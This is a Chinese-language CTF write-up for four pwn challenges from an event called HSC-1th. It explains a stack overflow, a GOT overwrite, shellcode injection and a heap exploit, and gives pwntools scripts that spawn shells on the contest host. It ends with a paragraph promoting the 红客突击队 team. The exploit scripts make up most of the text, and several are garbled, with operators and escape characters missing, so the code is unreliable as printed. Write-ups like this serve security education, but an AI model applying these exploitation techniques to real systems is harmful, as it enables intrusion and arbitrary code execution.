HSC-1th WP PWN

2022-09-29 20:55:54 浏览数 (1)


HSC-1th WP PWN

1.Ez_pwn

system('/bin/sh'),main函数进入就是栈溢出。

代码语言:javascript复制
from pwn import *
p = remote('hsc2019.site',*****)
p.recvuntil(b'string!')
p.sendline(b'a'*(64 8)  p64(0x400741))
p.recv()
p.interactive()

2.EZPWN

system('/bin/sh'),将printf地址改为后门地址,修改got表,调用printf实际调用的system('/bin/sh')

代码语言:javascript复制
from pwn import *
p = remote('hsc2019.site',10090)
elf=ELF('./pwn')
context.log_level='debug'
p.sendlineafter('your ID?n','aaaa')
p.sendlineafter('Give me the target address?',str(elf.got['printf']))
p.sendlineafter('Give me the data: ',p64(0x400796))
p.interactive()

got 表覆盖,保护只开了金丝雀,ida 反汇编有后门。分析函数有三次输入机会,第一次写在 bss,第二次写栈,第三次写在你输入得地址上。

p64 打包为 8 字节,即第三次输入就是给后门的, 第二次输入是我们想要的地址,首选为返回地址,部分开启 got 表,直接尝试修改 got 表,也就是第二次输入 put 得 got 表地址 然后第三次输入直接对其进行修改 从而在到达 puts 函数时 即可 getshell。

3.SAHELL

在0x0x600000处内存,寻找地址存储地址大于本身0x50以上的。发现在0x600088处:

代码语言:javascript复制
0x600088 —▸ 0x60010c (hello)

于是将start的ebp调整到0x600088对应main内写入数据的地址为:0x600088 0x50 = 0x6000D8,能够覆盖start返回地址0x60010c,在0x60010c写入shellcode

代码语言:javascript复制
#encoding=utf-8
from pwn import *
from pwn import *
context(os='linux',arch='amd64')
fpath='/pwn'
r = remote("hsc2019.site",*****)
code = shellcraft.sh()
shellcode = asm(code)
payload=b''*0x1a0 p64(0x600088) p64(0x4000FB) p64(0) p64(0x60010C)
r.sendline(payload)
payload=b"x90"*0x34 b"x90"*0 shellcode
r.sendline(payload)
r.interactive()

4.HEAP

代码语言:javascript复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level = 'debug'
debug = 2
if debug == 1:
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
else:
p = remote("0.0.0.0",9999)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name ":" hex(addr))
elf = ELF("./pwn",checksec=False)
def cmd(cho):
sla("choice:n",str(cho))
def add(size,content,flag):
cmd(1)
sla("sizzzzze:n",str(size))
sleep(0.02)
sa("Content:n",content)
sla("[ ]Need to Try more? Y(1)/N(0):n",str(flag))
def free():
cmd(2)
def show():
cmd(3)
add(0x450,'an',0)
add(0x20,'an',0)
free()
add(0x10,'an',0)
free()
add(0x30,'an',0)
add(0x450,'an',0)
add(0x20,'a',0)
show()
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(8,'x00'))-
0x3c4b61
info("libc.address = "   hex(libc.address))
one = [0x45226,0x4527a,0xf03a4,0xf1247]
cmd(777)
free()
add(0x20,'an',0)
add(0x2,'n',1)
add(0x1,'',1)
add(0x450,'an',0)
add(0x450,'an',0)
add(0x450,'an',0)
add(0x450,'an',0)
add(0x450,'an',0)
add(0x450,'an',0)
add(0x450,'x00'*0x1e0   p64(libc.sym['system']),0)
add(0x10,'/bin/shx00',0)
free()
ti()

红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞